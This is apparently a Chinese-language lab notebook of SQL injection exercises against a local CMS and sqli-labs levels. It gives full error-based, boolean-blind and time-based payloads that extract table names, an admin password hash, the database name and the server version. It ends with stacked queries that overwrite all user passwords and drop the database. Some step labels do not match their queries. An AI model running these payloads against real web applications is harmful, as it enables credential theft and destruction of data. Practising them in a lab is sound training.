目录
1. 报错注入练习
要求:通过报错注入方法,获取网站后台管理员账密码。
1.查表名
http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
2.查询数据库中表的数量
http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)
3.挨个查询8张表的表名
http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1)
limit 2,1 #从2开始的第一个表
-
查询到以下8个表名
cms_article
cms_category
cms_file
cms_friendlink
cms_message
cms_notice
cms_page
cms_users
4.通过表查询列名
http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x5e),1)
-
查询到以下3个列名
userid username password
5.查询用户名
http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1)
6.查询密码有多少位
http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)
7.无法显示全部密码需截断查询密码
http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)
http://192.168.5.140/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1)
1-16位:e10adc3949ba59ab
17-32位:be56e057f20f883e
8.组合查询结果得到密码
e10adc3949ba59abbe56e057f20f883e
2. 布尔盲注练习
要求: sqli-labs_08 注入联系,通过布尔盲注,获取数据库名字
http://192.168.5.140/sqli-labs-master/Less-8/
1.通过改变id值判断是否有回显
由于添加字符后回显消失,猜测该页面可能隐藏了报错信息
2.通过添加字符查看是否报错,字符型还是数字型
判断该id值是字符型,闭合符为'
3.通过and 1=1 and 1=2,判断显示页面是否正常
--+为注释符
1=1是正常;1=2时不正常
4.通过页面显示的差异判断数据库名位数
?id=2' and length(database())>0 --+ ?id=2' and length(database())=8 --+
页面显示正常说明库名8位数
5.依次确定1-8位数据库名
http://192.168.5.140/sqli-labs-master/Less-8/
?id=2' and ascii(substr((select database()),1,1))>99 --+
?id=2' and ascii(substr((select database()),1,1))=115 --+
?id=2' and ascii(substr((select database()),2,1))=101 --+
?id=2' and ascii(substr((select database()),3,1))=99 --+
?id=2' and ascii(substr((select database()),4,1))=117 --+
?id=2' and ascii(substr((select database()),5,1))=114 --+
?id=2' and ascii(substr((select database()),6,1))=105 --+
?id=2' and ascii(substr((select database()),7,1))=116 --+
?id=2' and ascii(substr((select database()),8,1))=121 --+
数据库名:security
3. 延时注入练习
要求:以sqli-labs_09 为例子,通过延时注入,获取数据库版本号。
1.判断版本号长度
版本号长度为6个字符
?id=2' and if(length(version())>5,sleep(5),1) --+
?id=2' and if(length(version())=6,sleep(5),1) --+
2.依次确定版本号字符
?id=2' and if(ascii(substr((select version()),1,1))>50,sleep(5),1) --+
?id=2' and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+
?id=2' and if(ascii(substr((select version()),2,1))=46,sleep(5),1) --+
?id=2' and if(ascii(substr((select version()),3,1))=53,sleep(5),1) --+
?id=2' and if(ascii(substr((select version()),4,1))=46,sleep(5),1) --+
?id=2' and if(ascii(substr((select version()),5,1))=53,sleep(5),1) --+
?id=2' and if(ascii(substr((select version()),6,1))=51,sleep(5),1) --+
-
ascii表一一对应
则版本号为
5.5.53
4. 堆叠查询练习
要求:
1. 以sqli-labs_38 为例子,通过堆叠查询,修改所有用户密码为654321
?id=2';update users set password='654321'; --+
2. 利用堆叠查询删库(危险!实战环境中千万不要)
?id=2'; drop database security; --+
3. 恢复sqli-labs 环境